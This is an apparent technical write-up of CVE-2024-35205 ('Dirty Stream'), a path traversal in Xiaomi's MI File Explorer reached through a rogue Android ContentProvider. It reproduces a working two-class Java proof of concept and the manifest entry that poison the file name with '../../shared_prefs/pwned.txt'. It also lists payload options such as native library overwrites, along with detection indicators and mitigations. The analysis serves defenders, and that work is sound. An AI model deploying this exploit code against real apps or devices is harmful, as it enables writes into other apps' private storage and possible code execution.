CVE-2024-35205 Android Security ContentProvider POC Analysis Path Traversal

Dirty Stream:
Weaponizing Android's ContentProvider

A technical deep dive into CVE-2024-35205 — how a rogue FileProvider turns Android's inter-app file sharing into an arbitrary write primitive, and what cyb3r-w0lf's PoC reveals about the attack surface.

⏱ ~15 min read 🗓 April 2026 cyb3r-w0lf
Table of contents
  1. Background — Android's IPC Trust Model
  2. The Vulnerability — ContentProvider Path Traversal
  3. Dissecting the PoC — Repository Anatomy
  4. The Attack Chain — Step by Step
  5. Impact Assessment
  6. Detection & Forensics
  7. Mitigations
  8. Conclusions & Broader Pattern

Background — Android's IPC Trust Model

Android enforces strong process-level isolation through a Unix UID model backed by SELinux mandatory access controls. Each application runs in its own sandbox: private data at /data/data/<pkg>/ is inaccessible to other apps by kernel file permission bits alone.

But apps need to communicate. The IPC framework — Binder, Intents, and ContentProviders — was designed to let applications exchange data without punching holes in the sandbox. ContentProvider is the key player: an abstraction layer that exposes structured data or file handles to other apps in a controlled, declarative way.

How FileProvider is supposed to work

Sharing raw file paths via file:// URIs was deprecated in Android 7.0 (Nougat) because it leaked internal filesystem layout and bypassed permission checks. The replacement, FileProvider, wraps files behind opaque content:// URIs. The server-side app declares shareable paths in a resource XML, and the runtime enforces that no URI escapes those roots. The flow looks like this:

A
Malicious app builds explicit Intent + content URI
startActivity() fires at target component
B
Target queries _display_name from provider
Trusts filename without validation
💣
Writes to attacker-controlled path

The security of this model rests on one implicit assumption: the consuming application must never trust the filename provided by the serving application. When that assumption breaks — as it did in Xiaomi's MI File Explorer — the sandbox collapses.

The Vulnerability — ContentProvider Path Traversal

CVE-2024-35205
MI File Explorer ≤ V1-210567
Xiaomi Inc.
CWE-22 — Path Traversal
7.3 HIGH
February 2024

Root cause

When MI File Explorer receives a file share intent, it queries _display_name from the sending ContentProvider to determine where to cache the incoming file. The simplified vulnerable pattern:

// Simplified vulnerable pattern in MI File Explorer
private String getFileName(Uri contentUri) {
    Cursor cursor = getContentResolver().query(
        contentUri,
        new String[] { OpenableColumns.DISPLAY_NAME },
        null, null, null
    );
    if (cursor != null && cursor.moveToFirst()) {
        return cursor.getString(0);  // ← ATTACKER CONTROLS THIS
    }
    return "downloaded_file";
}

// Downstream: filename used directly — no canonicalization
File dest = new File(cacheDir, getFileName(uri));
copyStreamToFile(getContentResolver().openInputStream(uri), dest);

If the malicious provider returns ../../shared_prefs/pwned.txt, the resulting path resolves to /data/user/0/com.mi.android.globalFileexplorer/shared_prefs/pwned.txt — outside the intended cache directory.

Key insight: This is not a flaw in Android's ContentProvider API. It is a confused deputy problem — MI File Explorer implicitly trusted user-controlled metadata from an untrusted source.

Why getLastPathSegment() doesn't save you

A common fix attempt is using Uri.getLastPathSegment() on the content URI. This is still exploitable: passing %2F..%2Fshared_prefs%2Fevil.xml will decode through the API into a full traversal. The only correct fix is canonical path validation.

Dissecting the PoC — Repository Anatomy

The cyb3r-w0lf/Dirty_Stream-Android-POC repository is a clean, minimal two-class Java exploit targeting MI File Explorer V1-210567:

Dirty_Stream-Android-POC/
apks/
MI_FileExplorer_V1-210567.apk ← vulnerable target
DirtyStream_exploit.apk ← pre-built exploit
exploit_src/app/src/main/
java/com/example/dirtystream/
MainActivity.java ← fires the exploit intent
MaliciousProvider.java ← rogue ContentProvider
AndroidManifest.xml
README.md

MaliciousProvider.java

Overrides query() to return the traversal path in _display_name. When MI File Explorer calls getContentResolver().query(), it receives the weapon:

public class MaliciousProvider extends ContentProvider {

    private static final String TRAVERSAL =
        "../../shared_prefs/pwned.txt";

    @Override
    public Cursor query(Uri uri, ...) {
        MatrixCursor c = new MatrixCursor(
            new String[]{ OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE }
        );
        c.addRow(new Object[]{ TRAVERSAL, 42 }); // poisoned cursor
        return c;
    }

    @Override
    public ParcelFileDescriptor openFile(Uri uri, String mode) {
        File payload = new File(getContext().getFilesDir(), "pwned.txt");
        return ParcelFileDescriptor.open(payload,
                   ParcelFileDescriptor.MODE_READ_ONLY);
    }
}

MainActivity.java — fire and forget

public class MainActivity extends AppCompatActivity {

    private static final String TARGET_PKG =
        "com.mi.android.globalFileexplorer";
    private static final String TARGET_ACTIVITY =
        "com.mi.android.globalFileexplorer.FileProcessActivity";

    @Override
    protected void onCreate(Bundle saved) {
        super.onCreate(saved);

        Uri uri = Uri.parse(
            "content://com.example.dirtystream.provider/payload"
        );
        Intent exploit = new Intent();
        exploit.setClassName(TARGET_PKG, TARGET_ACTIVITY);
        exploit.setData(uri);
        exploit.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
        startActivity(exploit);
        finish(); // disappear immediately — no visible UI
    }
}

Note: The finish() immediately after startActivity() is deliberate — the exploit app's Activity flickers for a single frame then closes. Payload already delivered.

AndroidManifest.xml — exporting the weapon

<provider
    android:name=".MaliciousProvider"
    android:authorities="com.example.dirtystream.provider"
    android:exported="true"
    android:grantUriPermissions="true" />

Nothing about this declaration is unusual — thousands of legitimate apps have exported providers. Static analysis alone cannot distinguish a malicious provider from a benign one.

The Attack Chain — Step by Step

Exploit APK (attacker)
MaliciousProvider + MainActivity
com.example.dirtystream
startActivity(explicit intent)
MI File Explorer (victim)
FileProcessActivity
com.mi.android.globalFileexplorer
query() returns poisoned cursor
_display_name = "../../shared_prefs/pwned.txt"
query(_display_name)
Fetches filename from provider
Trusts value unconditionally
openFile() streams payload bytes
Contents of pwned.txt piped to target
openInputStream(uri)
new File(cacheDir, filename) resolves
Path traversal → shared_prefs/
Android filesystem
/data/user/0/com.mi.android.globalFileexplorer/
write(dest)
pwned.txt written to shared_prefs/
Arbitrary file resident in target's private storage

"The PoC writes a benign marker file, but the primitive is identical whether the payload is a tampered SharedPreferences XML, a native library .so loaded on next launch, or a database seeded with malicious SQL."

— Implications of arbitrary write within sandbox

Impact Assessment

Target pathPayload typeImpact
shared_prefs/*.xmlTampered preferencesDisable security flags, inject config, change server endpoints
lib/*.soMalicious native libraryArbitrary code execution under target UID on next launch
databases/*.dbPre-seeded SQLiteCorrupt stored credentials, tokens, cached sensitive data
cache/*.dexReplacement bytecodeCode execution if dynamic class loading is present
files/auth_tokenOverwrite token storeForce re-auth, session fixation, credential theft on next sync

Scale: MI File Explorer had over 1 billion installs at disclosure time. WPS Office — also vulnerable to the same pattern — serves over 500 million users. Microsoft's team found the pattern systemic across many popular apps.

Detection & Forensics

Static indicators in a suspicious APK

// Red flag #1: exported provider with grantUriPermissions
<provider android:exported="true"
          android:grantUriPermissions="true" ... />

// Red flag #2: MatrixCursor returning traversal strings
MatrixCursor c = new MatrixCursor(...);
c.addRow(new Object[] { "../../" + targetPath, ... });

// Red flag #3: explicit intent to another app's internal component
intent.setClassName("com.victim.app", internalActivity);
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);

Runtime forensics (rooted device / ADB)

# Find recently modified files in File Explorer's private dirs
adb shell "find /data/user/0/com.mi.android.globalFileexplorer \
    -newer /data/user/0/com.mi.android.globalFileexplorer/databases \
    -type f 2>/dev/null"

# Check for unexpected files in shared_prefs
adb shell "ls -la /data/user/0/com.mi.android.globalFileexplorer/shared_prefs/"

On non-rooted devices, Google Play Protect's behavioural engine flags apps that fire explicit intents to other apps' internal components with content URIs shortly after install.

Mitigations

DEV / 01
Canonicalize before write
Resolve destination with File.getCanonicalPath() and assert it starts with the intended base directory.
DEV / 02
Generate your own filenames
Never use provider-supplied filenames for storage. Generate a UUID. The display name is for UI only.
DEV / 03
Strip traversal sequences
Sanitize _display_name — remove ../, ./, percent-encoded equivalents, and null bytes.
DEV / 04
Restrict provider exports
Set android:exported="false" or protect with a signature-level permission if third-party access isn't needed.
USER / 05
Update immediately
MI File Explorer patched post V1-210567. WPS Office patched in 17.0.0.
USER / 06
Avoid unofficial APKs
The exploit requires sideloading. Restricting installs to Google Play substantially raises the bar.

The correct canonical path check

private File safeDestFile(String providedName, File destDir)
        throws IOException {

    // Option A: ignore provider name entirely — most robust
    return new File(destDir, UUID.randomUUID().toString());

    /* Option B: sanitize + validate
    String safe = new File(providedName).getName(); // strip path components
    File dest   = new File(destDir, safe);
    if (!dest.getCanonicalPath().startsWith(
            destDir.getCanonicalPath() + File.separator)) {
        throw new SecurityException("Path traversal: " + providedName);
    }
    return dest; */
}

Conclusions & Broader Pattern

Dirty Stream is not a one-off MI File Explorer bug — it is a systemic pattern in how Android apps handle inter-process file sharing. Microsoft's team found the same flaw in WPS Office and anticipated correctly that it exists across many more apps.

What makes this class insidious is that it exploits correct use of the API in one app against an incomplete implementation in another. ContentProvider and FileProvider are not broken. The vulnerability lives in the gap between the server's documented contract and the client's common implementation.

The cyb3r-w0lf PoC is excellent educational material precisely because it strips the exploit to minimum viable form — two Java classes, one manifest entry, ~80 lines of code, and a reliable arbitrary write on every invocation against the unpatched target.

Any Android application that accepts files from other applications and uses the provider-supplied filename to determine where to cache that content is potentially vulnerable. The Android Developer documentation now explicitly addresses this under Improperly trusting ContentProvider-provided filename (updated September 2024).

References

github.com/cyb3r-w0lf/Dirty_Stream-Android-POC
Microsoft Security Blog — Dirty Stream Attack (May 2024)
Android Docs — Improperly trusting ContentProvider-provided filename
NVD — CVE-2024-35205